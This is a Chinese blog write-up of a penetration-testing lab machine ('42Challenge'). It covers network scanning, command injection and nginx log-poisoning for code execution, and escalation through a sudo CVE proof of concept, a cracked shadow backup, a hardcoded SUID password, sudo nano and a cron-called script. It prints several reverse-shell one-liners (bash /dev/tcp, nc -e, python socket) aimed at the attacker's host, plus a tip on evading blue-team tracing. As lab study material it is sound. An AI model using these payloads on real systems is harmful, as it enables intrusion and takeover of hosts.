记一次渗透测试提权的学习
文章目录42Challenge0x0 信息收集0x1 RCE0x2 提权0x3 引用42Challenge0x0 信息收集因为用的是虚拟机搭建的环境,所以虚拟机之间同处于一个网段下,使用ifconfig查看攻击机的ipali@kali:~/Desktop$ ifconfigeth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>mtu 1500i
42Challenge
0x0 信息收集
因为用的是虚拟机搭建的环境,所以虚拟机之间同处于一个网段下,使用ifconfig查看攻击机的ip
ali@kali:~/Desktop$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.146.130 netmask 255.255.255.0 broadcast 192.168.146.255
inet6 fe80::20c:29ff:fe94:9415 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:94:94:15 txqueuelen 1000 (Ethernet)
RX packets 79856 bytes 6871705 (6.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 228329 bytes 13795357 (13.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
使用netdiscover扫描同网段下的所有主机,命令:
netdiscover -r 192.168.146.0/16
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.146.2 00:50:56:f4:f2:38 1 60 VMware, Inc.
192.168.146.149 00:0c:29:52:f3:b2 1 60 VMware, Inc.
192.168.146.254 00:50:56:fa:b2:dd 1 60 VMware, Inc.
除去2、254这两个特殊的地址外,发现目标主机的IP地址为192.168.146.149,接下来使用nmap进行信息搜集
namp -sS -sV -A -p- 192.168.146.149
---------------------------------------------------------------------------------------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:8a:b4:a8:28:76:56:ce:49:d6:d5:6c:11:e5:38:dd (RSA)
| 256 8c:f7:82:be:14:11:01:cd:d3:07:3b:87:6b:b7:fd:4c (ECDSA)
|_ 256 45:56:fc:1d:10:a9:62:6f:4f:ae:66:36:aa:86:d2:e9 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Ip Pinger
MAC Address: 00:0C:29:52:F3:B2 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Uptime guess: 11.047 days (since Fri Jun 25 03:46:00 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
发现开启了两个端口80和22,对应着HTTP和SSH服务。浏览网页http://192.168.146.149/,发现只有一个ping功能
0x1 RCE
尝试命令注入。首先在攻击机监听8888端口:
nc -lvvp 8888
在目标网站输入框中输入
|| /bin/bash -i > /dev/tcp/192.168.146.130/8888 0<&1 2>&1
发现本地并没有建立起与目标的连接,说明可能命令注入无效,尝试可能的绕过方案,得到的结果均是失败。此时看到URL栏中的log参数猜测可能存在文件包含漏洞。尝试包含 / e t c / p a s s w d \textcolor{orange}{/etc/passwd} /etc/passwd,提示不允许读取该文件,但证明了确实存在任意文件包含。查看网页源码:
<html>
<head>
<title>Ip Pinger</title>
</head>
<body>
<h4>Please, type a target ip to make a ping:</h4>
<form name="get_log" method="post" action="/index.php" >
<input type="text" name="ip">
<input type="submit" name="submit" value="Make a ping"><br>
</form>
<script>
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
if (urlParams.get("log"))
{
const file = urlParams.get('log')
if (file.includes('logs/') && file.includes('.log'))
{
var correct_logfile = 1;
} else {
var correct_logfile = 0;
}
if (correct_logfile == 0)
{
alert("Sorry, you are not allowed to read this file.");
window.location.replace("index.php");
}
}
</script>
</body>
</html>
发现原来log参数的过滤是在js中,直接用bp改包即可。
既然如此,就可以用日志染毒的方式进行RCE。首先通过bp的响应包可以看出服务器是Nginx,所以其访问日志默认位置应该是
/var/log/nginx/access.log
错误日志是
/var/log/nginx/error.log
使用curl进行日志染毒:
curl -A "<?=system('nc -nv 192.168.146.130 8888 -e /bin/bash');?>" http://192.168.146.149/index.php
攻击机监听8888端口,并给目标网页的URL中的log参数传入 / v a r / l o g / n g i n x / a c c e s s . l o g \textcolor{orange}{/var/log/nginx/access.log} /var/log/nginx/access.log
此时成功getshell,但是为了更好的进行交互,我们换用python反弹shell。首先确认了目标机器安装了python,所以直接在当前shell下执行,别忘了也要先监听8888。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.146.130",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
到这里我还不想立即往下做,先看一下index.php源码,想弄懂为啥命令注入会失败,应该怎么注入。
<?php
if(isset($_POST['submit']))
{
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$tarjet = $_POST['ip'];
$tarjet = str_replace(array("<?", "?>", ";", "&", "|", "(", ")", "'", "\""), "", $tarjet);
system("ping " . $tarjet . " -c3 > logs/" . $ip . ".log");
header("Location: index.php?log=logs/" . $ip . ".log");
}
?>
<html>
<head>
<title>Ip Pinger</title>
</head>
<body>
<h4>Please, type a target ip to make a ping:</h4>
<form name="get_log" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" >
<input type="text" name="ip">
<input type="submit" name="submit" value="Make a ping"><br>
</form>
<script>
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
if (urlParams.get("log"))
{
const file = urlParams.get('log')
if (file.includes('logs/') && file.includes('.log'))
{
var correct_logfile = 1;
} else {
var correct_logfile = 0;
}
if (correct_logfile == 0)
{
alert("Sorry, you are not allowed to read this file.");
window.location.replace("index.php");
}
}
</script>
<?php
if (isset($_GET['log']))
{
include ($_GET['log']);
}
?>
</body>
</html>
看到第12行过滤掉了常见的字符,但是没有过滤掉反引号,所以可以使用反引号进行命令注入:
`nc -e /bin/bash 192.168.146.130 8888`
接下来看看我们当前shell的身份和权限
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
0x2 提权
权限太低,考虑提权。首先尝试suid提权,执行命令:
$ find / -perm -u=s -type f 2>/dev/null
--------------------------------------------------------------------------
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ping
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/Lucas_Access
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/arping
/usr/bin/chfn
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/snap/core20/1026/usr/bin/chfn
/snap/core20/1026/usr/bin/chsh
...
发现找到的这些文件要么不能执行,要么执行的时候又需要口令,对我们的提权没有起到实质性的作用。我在玩这个环境的前不久,正好爆出了CVE-2021-3156,可以拿来这里试试。为了传输文件,我在自己的机器上起一个http服务。
python -m SimpleHTTPServer 8899
注 意 : w e b 根 目 录 就 是 当 前 终 端 的 目 录 \textcolor{green}{注意:web根目录就是当前终端的目录} 注意:web根目录就是当前终端的目录
然后在目标机器上执行wget命令下载攻击机上编译好的POC,然后给POC加上可执行权限,运行POC直接起飞~
$ chmod +x sudo-hax-me-a-sandwich
$ ./sudo-hax-me-a-sandwich
id
-----------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),33(www-data)
-----------------------------------------------------------
whoami
-----------------------------------------------------------
root
注 意 : 文 件 全 部 传 输 完 毕 之 后 要 立 马 关 闭 攻 击 机 的 h t t p 服 务 , 这 是 为 了 避 免 在 真 实 环 境 下 被 蓝 队 溯 源 反 击 ! 整 个 开 启 的 过 程 也 尽 量 不 要 太 长 , 动 作 迅 速 一 点 , 可 以 避 免 很 多 危 险 。 \textcolor{green}{注意:文件全部传输完毕之后要立马关闭攻击机的http服务,这是为了避免在真实环境下被蓝队溯源反击!整个开启的过程也尽量不要太长,动作迅速一点,可以避免很多危险。} 注意:文件全部传输完毕之后要立马关闭攻击机的http服务,这是为了避免在真实环境下被蓝队溯源反击!整个开启的过程也尽量不要太长,动作迅速一点,可以避免很多危险。
但是到这里并不算完,这是该环境的非预期做法。该环境共有6个用户:
$ cat /etc/passwd | grep /bin/bash
-----------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
marvin:x:1000:1000:42 Challenge,,,:/home/marvin:/bin/bash
lucas:x:1001:1001::/home/lucas:/bin/bash
maria:x:1002:1002::/home/maria:/bin/bash
pedro:x:1003:1003::/home/pedro:/bin/bash
laura:x:1004:1004::/home/laura:/bin/bash
预期的做法是依次提权后5个用户,最终到达root权限,所以接下来才是真正的开始。。。
这里可以使用一个提权辅助脚本linpeas.sh。使用之前的方法将该脚本放到目标机器中,然后运行。发现输出的结果非常多,其中有一条信息给我们带来了一丝惊喜:
/var/backups/shadow_backup.bak
这似乎是shadow文件的备份,正常情况下,以我们目前的身份权限是没法读取 / e t c / s h a d o w \textcolor{orange}{/etc/shadow} /etc/shadow文件内容的。既然这个备份文件能够读取,那我们就可以尝试爆破出用户名的登录密码。
首先将目标系统的shadow文件中涉及到用户名和密码加密数据拷贝到攻击机的桌面下,保存为文件shadow,以下是保存的内容
marvin:$6$xVRWEeia$uYlk5.Jgo0A69ykQguBDzY8AeUjvHKwj577rTmn82R6enY9r630TbgRWJmnmoqakgYx0Bg651WOM0cvKdwhaG.:18319:0:99999:7:::
lucas:$6$zBETbEhW$rF/A44Y5NCJATkFfD4Qu4lzebQ/PW5/kPD1WKTzf6/uSt4PtPXESIENWW5xd9PsKGu7k2hCLI9uz7s8HyNHdv.:18318:0:99999:7:::
maria:$6$jD/TgaEw$6HAWM6i4NUsMtSUkqx1d60cdQTLJTWIN/9Y5Qmr0pShdkhiZ/M465WwFDUj4HKnuKZuHc53GPNJg01uY/9DPQ0:18318:0:99999:7:::
root:$6$nGvBJ7Ph$jqHgNPRgfT4/lLkPMXMB0WnD9bmrTXMhjXm2OYmlKTU3G/nn5MVZ93Xi4EwX9TwP.zFwM/CUJ11wxC/whIOdF/:18319:0:99999:7:::
接下来进行爆破,不建议使用暴力破解,本人没有云服务器,一开始使用暴力破解,CPU 占用 100% 居高不下,太消耗资源了。还是建议生成一个字典,使用字典爆破。随便找个字典生成器就可以了。这一步纯属时间问题,所以我做了个弊,直接看别人的文章,知道密码是marvinthemartian,对应的用户名marvin。如果有字典的话,可以使用如下命令进行爆破:
john --w=字典文件 shadow
现在可以ssh登陆了
ssh marvin@192.168.146.149
------------------------------------------------------
marvin@192.168.146.149's password:
:dMMMMMMMMd: oMMMMMMMdyMMMMMMMMM
/mMMMMMMMNh- oMMMh: +MMMMMMMMM
+mMMMMMMMNy- -- .yMMMMMMMMm
.+mMMMMMMMNs- .oNMMMMMMMd/
.omMMMMMMMmo. -sNMMMMMMMh/ .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm oMMMMMMMMN -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN oMMMMMMMMN:hNMMMMMM
mMMMMMMMMN -ooooooooo+oooooooo
mMMMMMMMMN
mMMMMMMMMN
mMMMMMMMMN
Welcome to the 42Challenge
Last login: Thu Mar 18 15:41:32 2021 from 192.168.146.130
marvin@42Challenge:~$
接下来再次递归的使用上面的方法进行提权,首先是UID提权
marvin@42Challenge:~$ find / -perm -u=s -type f 2>/dev/null
-------------------------------------------------------------
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ping
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/Lucas_Access
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/arping
发现可疑的文件 / u s r / b i n / L u c a s _ A c c e s s \textcolor{orange}{/usr/bin/Lucas\_Access} /usr/bin/Lucas_Access,运行看看
marvin@42Challenge:~$ /usr/bin/Lucas_Access
--------------------------------------------------------------
Welcome to the Lucas access system.
Please, type the password:
em。。。有点东西,将其下载下来
scp marvin@192.168.146.149:/usr/bin/Lucas_Access Lucas_Access
IDA分析,主要代码如下
...
fgets(s, 30, _bss_start);
s[strlen(s) - 1] = 0;
if ( strlen(s) > 0x14 || (unsigned int)try((__int64)s) )
return alert();
if ( getuid() == 1000 )
{
puts("\nWelcome Lucas!, I'm happy to see you again :D\n");
setreuid(0x3E9u, 0x3E9u);
setregid(0x3E9u, 0x3E9u);
system("/bin/bash -i");
}
...
t r y \textcolor{cornflowerblue}{try} try函数校验通过后就会提升权限,并获得一个shell。
__int64 __fastcall try(__int64 a1)
{
int i; // [rsp+14h] [rbp-Ch]
char *v3; // [rsp+18h] [rbp-8h]
v3 = (char *)malloc(0x11uLL);
v3[17] = 0;
strcpy(v3, "3dF_s6Pc");
strcat(v3, "j$mrE_Zz");
for ( i = 0; *(_BYTE *)(i + a1) && v3[i] && *(_BYTE *)(i + a1) == v3[i]; ++i )
;
return *(unsigned __int8 *)(i + a1) - (unsigned int)(unsigned __int8)v3[i];
}
密码一目了然:3dF_s6Pcj$mrE_Zz,现在我们得到了一个新的shell!
Welcome to the Lucas access system.
Please, type the password:
3dF_s6Pcj$mrE_Zz
Welcome Lucas!, I'm happy to see you again :D
lucas@42Challenge:~$
递归地调用前面的提权步骤,前面的方法都试过了没有新的发现,现在尝试新的提权方法: s u d o − l \textcolor{orange}{sudo -l} sudo−l。该指令用来查看当前sudo可用的参数命令。
lucas@42Challenge:~$ sudo -l
-----------------------------------------------------------------------------------------------------------------------
Coincidiendo entradas por defecto para lucas en 42Challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
El usuario lucas puede ejecutar los siguientes comandos en 42Challenge:
(maria) NOPASSWD: /bin/nano
发现有nano编辑器,到这里考察的就是nano的提权方法。使用如下命令:
sudo -u maria /bin/nano
打开nano编辑器以后,按 c t r l + r \textcolor{orange}{ctrl+r} ctrl+r,然后按 c t r l + x \textcolor{orange}{ctrl+x} ctrl+x就能够执行命令了。为了方便控制,再反弹一个shell,这里再介绍一种反弹shell
echo "bash -i >& /dev/tcp/ip/port 0>&1" | bash
这条反弹shell比上面的两个,多了个当前用户的前缀和命令实行失败时的报错信息。这是效果演示:
maria@42Challenge:~$ cat a
-------------------------------------------------
cat a
cat: a: No existe el archivo o el directorio
但是重复上面的 s u d o − l \textcolor{orange}{sudo -l} sudo−l提权方法时没有输出,猜测是反弹shell的问题,还是不太方便,所以考虑构建免密ssh登陆。操作方法:
- 在攻击机中生成公钥
kali@kali:~/Desktop$ ssh-keygen
---------------------------------------------------------------------------------------
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/.ssh/id_rsa
/home/kali/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:QtbjiWGPyfqjOKKpJLBQb2UlRTiQZEGMbp/ZRc9OWZE kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| =*+.++ .o |
| ..o o+. E |
| .. Booo o |
| .o. B B.o= |
|o. .o+*.So |
|o. .+... . |
|o. . |
|+... .. |
|*....... |
+----[SHA256]-----+
- 查看公钥
kali@kali:~/Desktop$ sudo -i
------------------------------------------------------------------------------------------------------------------------------------------------
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run “touch ~/.hushlogin” to hide this message)
root@kali:~# cat /home/kali/.ssh/id_rsa.pub
------------------------------------------------------------------------------------------------------------------------------------------------
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClziUM4oqOt1aLwxYLr8oX+KzExjfsY0NdOmN4ph7O8es0orbhDcvu73/78aAPfbV9rEiOquNKEYcITJ96g+AkHgsJW1OY6LR2s3Lyq8NPIZ/uroAAvC3huH1TluifImiptV03Jqprp4IFv+Ee5Y4zPjZ3wl7xj8FbjJKvqFuOXMfAIk80nj6iDApSK1c1MJYxpZZkva82Jg3tledg/bvs9sIDo7YeV/47o2TvsgFOyV7LTHx2uwX2uuIaWnFmdOJhJERJrQvlDoAGwKSgc+YjC3dLIUJzldiK+B93I3Su8cStyMv6jLGbJBR0ZyXwYRAEdssSl80AR2srUxnd1QdLBOCCb5ti8Yo7y2sG5zTfrXR6SoySdbE04HytOiAjTto6bbWq44BS4E74MDEjWDm9RGS8pER6Fp4w9LY864K+zVMB7mKH2aKaQz4JiHvl6ounefQUdBDc5fNmSN4VGXkKNfZwMHtwNdfMWYhR2vIw4FOV9UmkMAT52eRWMxbgqxE= kali@kali
- 在目标机器的maria目录下配置**.ssh**,依次执行如下命令
cd /home/maria
makdir .ssh
cd .ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClziUM4oqOt1aLwxYLr8oX+KzExjfsY0NdOmN4ph7O8es0orbhDcvu73/78aAPfbV9rEiOquNKEYcITJ96g+AkHgsJW1OY6LR2s3Lyq8NPIZ/uroAAvC3huH1TluifImiptV03Jqprp4IFv+Ee5Y4zPjZ3wl7xj8FbjJKvqFuOXMfAIk80nj6iDApSK1c1MJYxpZZkva82Jg3tledg/bvs9sIDo7YeV/47o2TvsgFOyV7LTHx2uwX2uuIaWnFmdOJhJERJrQvlDoAGwKSgc+YjC3dLIUJzldiK+B93I3Su8cStyMv6jLGbJBR0ZyXwYRAEdssSl80AR2srUxnd1QdLBOCCb5ti8Yo7y2sG5zTfrXR6SoySdbE04HytOiAjTto6bbWq44BS4E74MDEjWDm9RGS8pER6Fp4w9LY864K+zVMB7mKH2aKaQz4JiHvl6ounefQUdBDc5fNmSN4VGXkKNfZwMHtwNdfMWYhR2vIw4FOV9UmkMAT52eRWMxbgqxE= kali@kali' > authorized_keys
- 在攻击机中使用ssh连接maria用户
kali@kali:~/Desktop$ ssh maria@192.168.146.149
:dMMMMMMMMd: oMMMMMMMdyMMMMMMMMM
/mMMMMMMMNh- oMMMh: +MMMMMMMMM
+mMMMMMMMNy- -- .yMMMMMMMMm
.+mMMMMMMMNs- .oNMMMMMMMd/
.omMMMMMMMmo. -sNMMMMMMMh/ .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm oMMMMMMMMN -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN oMMMMMMMMN:hNMMMMMM
mMMMMMMMMN -ooooooooo+oooooooo
mMMMMMMMMN
mMMMMMMMMN
mMMMMMMMMN
Welcome to the 42Challenge
Last login: Mon Apr 13 12:48:08 2020 from 192.168.1.91
此时尝试 s u d o − l \textcolor{orange}{sudo\ -l} sudo −l和SUID都没有很好的结果(这里的sudo需要密码,而SUID结果和之前的一样),这里应该又是考擦新的提权方式了。尝试计划任务提权,首先查看计划任务
maria@42Challenge:~$ cat /etc/crontab
----------------------------------------------------------------------------------------------------
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
maria@42Challenge:~$ crontab -l
------------------------------------------
no crontab for maria
发现都不可用,使用pspy64看看有什么新发现
./pspy64
--------------------------------------------------------------------------------------------------------------------------
....
2021/07/07 09:31:01 CMD: UID=1004 PID=348 | python /home/laura/Server_Status.py
2021/07/07 09:31:01 CMD: UID=1003 PID=347 | sh /home/pedro/Reporting_System_Info.sh
2021/07/07 09:31:01 CMD: UID=1004 PID=345 | /bin/sh -c python /home/laura/Server_Status.py >/dev/null 2>&1
发现存在laura和pedro用户运行的程序,按从小到大的顺序,依次进行提权。第一个是pedro用户,我们看看此时正在运行的脚本文件内容是什么
#!/bin/sh
#Checking system files rights
ls -la /etc/passwd >> /tmp/results.txt
ls -la /etc/shadow >> /tmp/results.txt
echo "" >> /tmp/results.txt
#Checking users last login
last marvin | head -n 1 >> /tmp/results.txt
last lucas | head -n 1 >> /tmp/results.txt
last maria | head -n 1 >> /tmp/results.txt
last pedro | head -n 1 >> /tmp/results.txt
last root | head -n 1 >> /tmp/results.txt
echo "" >> /tmp/results.txt
#Checking users groups
id marvin | cut -d " " -f 3 >> /tmp/results.txt
id lucas | cut -d " " -f 3 >> /tmp/results.txt
id maria | cut -d " " -f 3 >> /tmp/results.txt
id pedro | cut -d " " -f 3 >> /tmp/results.txt
id root | cut -d " " -f 3 >> /tmp/results.txt
#---> Maria needs to create this feature in the future <---
#Sending a Email with the results
sh /home/maria/Send_Reporting_Email.sh 2>/dev/null
#Removing reporting file
rm -rf /tmp/results.txt
这是一个以pedro身份定时运行的脚本文件,如果我们能够修改该文件的内容就可以得到该用户的权限。现在切到 / h o m e / p e d r o \textcolor{orange}{/home/pedro} /home/pedro目录下看看文件的属性
maria@42Challenge:~$ cd /home/pedro
maria@42Challenge:/home/pedro$ ls -al
total 44
drwxr-xr-x 5 pedro pedro 4096 abr 13 2020 .
drwxr-xr-x 7 root root 4096 feb 29 2020 ..
lrwxrwxrwx 1 root root 9 mar 5 2020 .bash_history -> /dev/null
-rw-r--r-- 1 pedro pedro 220 abr 4 2018 .bash_logout
-rw-r--r-- 1 pedro pedro 3771 abr 4 2018 .bashrc
drwx------ 2 pedro pedro 4096 feb 29 2020 .cache
-r-------- 1 pedro pedro 52 mar 5 2020 flag.txt
drwx------ 3 pedro pedro 4096 feb 29 2020 .gnupg
drwxrwxr-x 3 pedro pedro 4096 feb 29 2020 .local
-rw-r--r-- 1 pedro pedro 807 abr 4 2018 .profile
-rw-r-----+ 1 pedro pedro 875 feb 29 2020 Reporting_System_Info.sh
-rw------- 1 pedro pedro 1127 mar 14 2020 .viminfo
第14行的**+表示Linux ACL的访问控制权限,类似于Windows**系统中权限分配的方式,可以指定用户分配权限。
可以通过getfacl查看该文件的访问控制信息
maria@42Challenge:/home/pedro$ getfacl Reporting_System_Info.sh
# file: Reporting_System_Info.sh
# owner: pedro
# group: pedro
user::rw-
user:maria:r--
group::---
mask::r--
other::---
遗憾的是我们不能直接修改这个脚本文件,但是我们从之前的源码中看到该脚本文件还会调用另一个脚本文件 / h o m e / m a r i a / S e n d _ R e p o r t i n g _ E m a i l . s h \textcolor{orange}{/home/maria/Send\_Reporting\_Email.sh} /home/maria/Send_Reporting_Email.sh,而这个文件我们是可以修改的。所以我们就为早这样的一个文件,在里面放上我们的反弹shell。
echo "nc -e /bin/bash 192.168.146.130 8888" > Send_Reporting_Email.sh
注 意 : 这 里 用 b a s h 反 弹 s h e l l 会 失 败 , 具 体 原 因 可 能 是 该 用 户 使 用 的 是 s h , 而 不 是 b a s h 。 \textcolor{green}{注意:这里用bash反弹shell会失败,具体原因可能是该用户使用的是sh,而不是bash。} 注意:这里用bash反弹shell会失败,具体原因可能是该用户使用的是sh,而不是bash。
等待大概10s回弹一个shell过来。现在我们就是pedro的身份了,为了方便,也给pedro弄一个免密登陆ssh。回顾之前进程监听的时候,发现laura也有定时运行的脚本,现在看看
import os
import subprocess
def is_service_running(name):
with open(os.devnull, 'wb') as hide_output:
exit_code = subprocess.Popen(['service', name, 'status'], stdout=hide_output, stderr=hide_output).wait()
return exit_code == 0
if not is_service_running('ssh'):
print 'SSH: is not running'
else:
print 'SSH: is running'
if not is_service_running('nginx'):
print 'Nginx: is not running'
else:
print 'Nginx: is running'
发现这是一个python2版本的文件,但是该文件本身我们不能修改的,然而我们可以借鉴上个脚本文件的利用思路,我们试试这个python2调用的库能不能修改。首先找os或者subprocess的路径
find / -name subprocess.py 2>/dev/null
-------------------------------------------------------------------
/usr/lib/python3.6/asyncio/subprocess.py
/usr/lib/python3.6/subprocess.py
/usr/lib/python2.7/subprocess.py
/usr/local/lib/python2.7/dist-packages/pip/_internal/utils/subprocess.py
查看文件属性
pedro@42Challenge:~$ ls -al /usr/lib/python2.7/subprocess.py
------------------------------------------------------------------------------
-rw-r--r-- 1 root root 50520 feb 27 16:10 /usr/lib/python2.7/subprocess.py
------------------------------------------------------------------------------
pedro@42Challenge:~$ getfacl /usr/lib/python2.7/subprocess.py
------------------------------------------------------------------------------
getfacl: Eliminando «/» inicial en nombres de ruta absolutos
# file: usr/lib/python2.7/subprocess.py
# owner: root
# group: root
user::rw-
group::r--
other::r--
发现不能修改,这和我的参考文献有很大的出入,然后尝试os也不能修改,这就离谱,还能有什么法子,在线求助万能的网友大佬们!
0x3 引用
更多推荐
所有评论(0)